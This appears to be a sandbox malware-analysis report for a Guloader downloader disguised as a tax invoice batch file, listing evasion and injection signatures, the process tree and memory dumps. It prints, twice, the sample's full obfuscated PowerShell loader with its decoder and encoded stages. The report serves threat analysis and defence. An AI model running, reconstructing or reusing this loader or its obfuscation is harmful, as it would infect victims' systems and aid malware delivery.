Analysis
- max time kernel
299s - max time network
302s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
29/07/2026, 03:56
General
- Target NTS_eTaxInvoice·html.bat
- Size 3KB
- Sample260729-ehtq4sgk7s
- SHA256 add7dbe9bd63c081d18502a8c71e763d744b659640324b2b59b0947a857e2752
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NTS_eTaxInvoice·html.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "function glorpz { [void](Get-Date); };$skaldyrsal = Get-Location;$hoved=-9048+9048;$vegnes=16078-10078;function vnmst { [void](Get-ChildItem); };[void](Get-Date);function admini ($decada,$involversa) {$pread=sharke(@(112,205,217,203,208,203,211,121,203,236,215,225,143,150,181,215,234,215,219,221,215,190,220,213,145)) ;Brndk98 ($pread)}$realloca = Get-Location;function qlpzx { [void](Get-Process); };[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);function sharke ($specialb) { [void](Get-Date);do {$vegnes=$hoved%7;$drunkard=$proscrib[$vegnes];$specialb[$hoved]-=$drunkard;$vegnes=$specialb[$hoved];$vegnes=[char]$vegnes;$statursa+=$vegnes;$hoved++} while ($specialb[$hoved])$statursa;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date);function Brndk98 ($stork) {[void](Get-Date);.($blokind) $stork;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Item 'C:\');Function Bolede ($specialb,$exami=0){[void](Get-Date);$coup=sharke(@(167,172,227,214,229,204,228,192,198,174,162,181,217,225,185,171,213,219,212,157,166,159,221,230,209,221,206,154,112,220,228,205,210,208,211,184,203,157));[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$plombreg=@(Brndk98 ($coup));[void](Get-Date);For($guardfisht=0; $plombreg[$guardfisht] -ne $acut; $guardfisht++){$plombreg[$guardfisht] = admini $plombreg[$guardfisht] $proscrib[$guardfisht%7]}$erotisere=sharke(@(121,211,227,209,221,135,205,175,209,213,218,202,196,207,112,217,224,215,220,201,228,177,208));$intemperi=Brndk98 ($erotisere);if ($exami) { [void](Get-Date);Brndk98 $intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}else {;[void](Get-Date);$intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date)}[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$proscrib=@(76,105,116,104,111,103,114);$liepotshi = 'zorp';$blokind=sharke @(149,174,204);$unin='\clutte.Ana';$cance = Get-Date -Format 'yyyy';$patell=Bolede 'eUdESEcwGyINGx8cRzwYSUVYQVdJbD4dBllTSWwRQlxURwA6U0VdXUlCZUkzDQwMHWNbRFlfV0N8WFQuBhUXKgYMR15SQGJZ';$drgtig=Bolede 'JB0AGBxdXWMNBgEZAlwrBhsPAwJcLwYZRxoETSkRBAcdE08oBgMGAwgTKE8dDFJWAxtdMwAmIgQDDzgRIwIQAgNNIhsRMHwoHyNCEB0+JkU=';$mischa=Bolede 'ARoMBQNVXB8MBh4KFSoBJTw8OzdcekdE';$pedascule = Get-Location;$photolab=Bolede 'Cywg';$involversailtrafiks=Bolede 'GRoRGkImFSkHAA==';$dagsko=Bolede 'cg==';Bolede 'aA4YBw0GHnYZBgcbBgolCBgGUkMXIh9OCR8XFi0dFUNLEhwlBw==' 1;Bolede 'aA4YBw0GHnYeHAEbAgUtVFAMHQAGJQ5aGx8LGzhBUAwOAAEnBl0=' 1;$drgtig=$whitewa[0];Bolede 'aA4YBw0GHnYEHRscDk8CDANFIAUYKQoASEIkHSFJUAUGFBEkCA==' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1;while (!$forvalte) {Bolede 'aA4YBw0GHnYkHQYGCgchH0lMGxUHKQ==' 1;Bolede 'aAQdGxwOXCMZEQZHQwIkBgAHAwYQYElQDB0ABiUOWEhLARMgGhFB' 1;Bolede 'aAQdGxwOXD8MADoKFgcpGgAgCgYWKRtcTAYJBCMFAg0dFBMlBQAaDgEbJxpYSEsXEzgMGARG' 1;Bolede 'aAQdGxwOXD8MGgxHTg==' 1;Bolede 'aA4YBw0GHnYEGwwcExMtGx4HXlVBcU0ZARwUG2IaAAkbEgFsRBEZT1VCfA==' 1;if ($modstaarjo123) {Bolede 'FwsNHAo8LxFNEwQABRMgUwEPAw4XcU0ZARwUG2IbERsfCBw/DDYHCx4=' 1;Bolede 'PwpUTB8VHTgIDAEOCxxsTQEPAw4XbEQxBgwIFiUHE0gtHgYp' 1} Bolede 'HwURDR9PRmU=' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1 ;Bolede 'aA4YBw0GHnYMEw0BFBktCwdVSwAeIwsVBFUGFD8AGgwGTFlpTQMABhMXOwhaCwASHDg=' 1;$drgtig=$whitewa[$egenskabs]}$involversayrl=137127;$urocentr=15647;Bolede 'aA4YBw0GHnYPEQIDE08rClRMHxUdOAgMAQ4LHA==' 1;Bolede 'aA4YBw0GHnY8GgEDBgYpG0kzLAgcOgwGHDJdSAobGwUtBgEpX0A7GxUbIg5cTAkCGCAdXQ==' 1;Bolede 'aA4YBw0GHnYMFgcBDhUpVC88Ch8GYiwaCwADGyIOKVJVJiEPID1GKAIGHx0GAQEAWmg8GgEDBgYpG10=' 1;Bolede 'aA4YBw0GHnYbER4KFU9oDBYHAQ4VKUcHHQ0UBj4AGg9HQxsiHxsEGQIAPwgNGgNLVjkbGwsKCQY+QA==' 1;Brndk98 $rever;function florpz { [void](Get-Date); };;#Restirring Chemica GlasIexer Trev ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function glorpz { [void](Get-Date); };$skaldyrsal = Get-Location;$hoved=-9048+9048;$vegnes=16078-10078;function vnmst { [void](Get-ChildItem); };[void](Get-Date);function admini ($decada,$involversa) {$pread=sharke(@(112,205,217,203,208,203,211,121,203,236,215,225,143,150,181,215,234,215,219,221,215,190,220,213,145)) ;Brndk98 ($pread)}$realloca = Get-Location;function qlpzx { [void](Get-Process); };[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);function sharke ($specialb) { [void](Get-Date);do {$vegnes=$hoved%7;$drunkard=$proscrib[$vegnes];$specialb[$hoved]-=$drunkard;$vegnes=$specialb[$hoved];$vegnes=[char]$vegnes;$statursa+=$vegnes;$hoved++} while ($specialb[$hoved])$statursa;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date);function Brndk98 ($stork) {[void](Get-Date);.($blokind) $stork;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Item 'C:\');Function Bolede ($specialb,$exami=0){[void](Get-Date);$coup=sharke(@(167,172,227,214,229,204,228,192,198,174,162,181,217,225,185,171,213,219,212,157,166,159,221,230,209,221,206,154,112,220,228,205,210,208,211,184,203,157));[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$plombreg=@(Brndk98 ($coup));[void](Get-Date);For($guardfisht=0; $plombreg[$guardfisht] -ne $acut; $guardfisht++){$plombreg[$guardfisht] = admini $plombreg[$guardfisht] $proscrib[$guardfisht%7]}$erotisere=sharke(@(121,211,227,209,221,135,205,175,209,213,218,202,196,207,112,217,224,215,220,201,228,177,208));$intemperi=Brndk98 ($erotisere);if ($exami) { [void](Get-Date);Brndk98 $intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}else {;[void](Get-Date);$intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date)}[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$proscrib=@(76,105,116,104,111,103,114);$liepotshi = 'zorp';$blokind=sharke @(149,174,204);$unin='\clutte.Ana';$cance = Get-Date -Format 'yyyy';$patell=Bolede 'eUdESEcwGyINGx8cRzwYSUVYQVdJbD4dBllTSWwRQlxURwA6U0VdXUlCZUkzDQwMHWNbRFlfV0N8WFQuBhUXKgYMR15SQGJZ';$drgtig=Bolede 'JB0AGBxdXWMNBgEZAlwrBhsPAwJcLwYZRxoETSkRBAcdE08oBgMGAwgTKE8dDFJWAxtdMwAmIgQDDzgRIwIQAgNNIhsRMHwoHyNCEB0+JkU=';$mischa=Bolede 'ARoMBQNVXB8MBh4KFSoBJTw8OzdcekdE';$pedascule = Get-Location;$photolab=Bolede 'Cywg';$involversailtrafiks=Bolede 'GRoRGkImFSkHAA==';$dagsko=Bolede 'cg==';Bolede 'aA4YBw0GHnYZBgcbBgolCBgGUkMXIh9OCR8XFi0dFUNLEhwlBw==' 1;Bolede 'aA4YBw0GHnYeHAEbAgUtVFAMHQAGJQ5aGx8LGzhBUAwOAAEnBl0=' 1;$drgtig=$whitewa[0];Bolede 'aA4YBw0GHnYEHRscDk8CDANFIAUYKQoASEIkHSFJUAUGFBEkCA==' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1;while (!$forvalte) {Bolede 'aA4YBw0GHnYkHQYGCgchH0lMGxUHKQ==' 1;Bolede 'aAQdGxwOXCMZEQZHQwIkBgAHAwYQYElQDB0ABiUOWEhLARMgGhFB' 1;Bolede 'aAQdGxwOXD8MADoKFgcpGgAgCgYWKRtcTAYJBCMFAg0dFBMlBQAaDgEbJxpYSEsXEzgMGARG' 1;Bolede 'aAQdGxwOXD8MGgxHTg==' 1;Bolede 'aA4YBw0GHnYEGwwcExMtGx4HXlVBcU0ZARwUG2IaAAkbEgFsRBEZT1VCfA==' 1;if ($modstaarjo123) {Bolede 'FwsNHAo8LxFNEwQABRMgUwEPAw4XcU0ZARwUG2IbERsfCBw/DDYHCx4=' 1;Bolede 'PwpUTB8VHTgIDAEOCxxsTQEPAw4XbEQxBgwIFiUHE0gtHgYp' 1} Bolede 'HwURDR9PRmU=' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1 ;Bolede 'aA4YBw0GHnYMEw0BFBktCwdVSwAeIwsVBFUGFD8AGgwGTFlpTQMABhMXOwhaCwASHDg=' 1;$drgtig=$whitewa[$egenskabs]}$involversayrl=137127;$urocentr=15647;Bolede 'aA4YBw0GHnYPEQIDE08rClRMHxUdOAgMAQ4LHA==' 1;Bolede 'aA4YBw0GHnY8GgEDBgYpG0kzLAgcOgwGHDJdSAobGwUtBgEpX0A7GxUbIg5cTAkCGCAdXQ==' 1;Bolede 'aA4YBw0GHnYMFgcBDhUpVC88Ch8GYiwaCwADGyIOKVJVJiEPID1GKAIGHx0GAQEAWmg8GgEDBgYpG10=' 1;Bolede 'aA4YBw0GHnYbER4KFU9oDBYHAQ4VKUcHHQ0UBj4AGg9HQxsiHxsEGQIAPwgNGgNLVjkbGwsKCQY+QA==' 1;Brndk98 $rever;function florpz { [void](Get-Date); };;#Restirring Chemica GlasIexer Trev ;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_1e1elhlc.aoy.ps1
clutte.Ana
memory/632-81-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/632-55-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/2548-36-0x00000000060D0000-0x0000000006424000-memory.dmp
memory/2548-40-0x0000000007690000-0x0000000007726000-memory.dmp
memory/2548-54-0x0000000008F90000-0x000000000A851000-memory.dmp
memory/2548-53-0x0000000008340000-0x0000000008343000-memory.dmp
memory/2548-51-0x0000000005210000-0x0000000005220000-memory.dmp
memory/2548-50-0x0000000008F90000-0x000000000A851000-memory.dmp
memory/2548-22-0x0000000005210000-0x0000000005220000-memory.dmp
memory/2548-23-0x00000000050F0000-0x0000000005126000-memory.dmp
memory/2548-24-0x0000000005210000-0x0000000005220000-memory.dmp
memory/2548-25-0x0000000005850000-0x0000000005E78000-memory.dmp
memory/2548-26-0x0000000005700000-0x0000000005722000-memory.dmp
memory/2548-27-0x0000000005FF0000-0x0000000006056000-memory.dmp
memory/2548-28-0x0000000006060000-0x00000000060C6000-memory.dmp
memory/2548-49-0x0000000008F90000-0x000000000A851000-memory.dmp
memory/2548-48-0x0000000008340000-0x0000000008343000-memory.dmp
memory/2548-38-0x00000000066B0000-0x00000000066CE000-memory.dmp
memory/2548-39-0x00000000066F0000-0x000000000673C000-memory.dmp
memory/2548-47-0x0000000005210000-0x0000000005220000-memory.dmp
memory/2548-41-0x0000000006BF0000-0x0000000006C0A000-memory.dmp
memory/2548-42-0x0000000006C40000-0x0000000006C62000-memory.dmp
memory/2548-43-0x0000000007CE0000-0x0000000008284000-memory.dmp
memory/2548-44-0x0000000008910000-0x0000000008F8A000-memory.dmp
memory/2548-46-0x0000000005210000-0x0000000005220000-memory.dmp
memory/4712-10-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp
memory/4712-11-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp
memory/4712-12-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp
memory/4712-0-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp
memory/4712-17-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp
memory/4712-16-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp
memory/4712-13-0x0000020FEE8A0000-0x0000020FEEABC000-memory.dmp
memory/4712-14-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp
memory/4712-2-0x0000020FEE870000-0x0000020FEE892000-memory.dmp
memory/4712-1-0x0000020FEDF10000-0x0000020FEDF20000-memory.dmp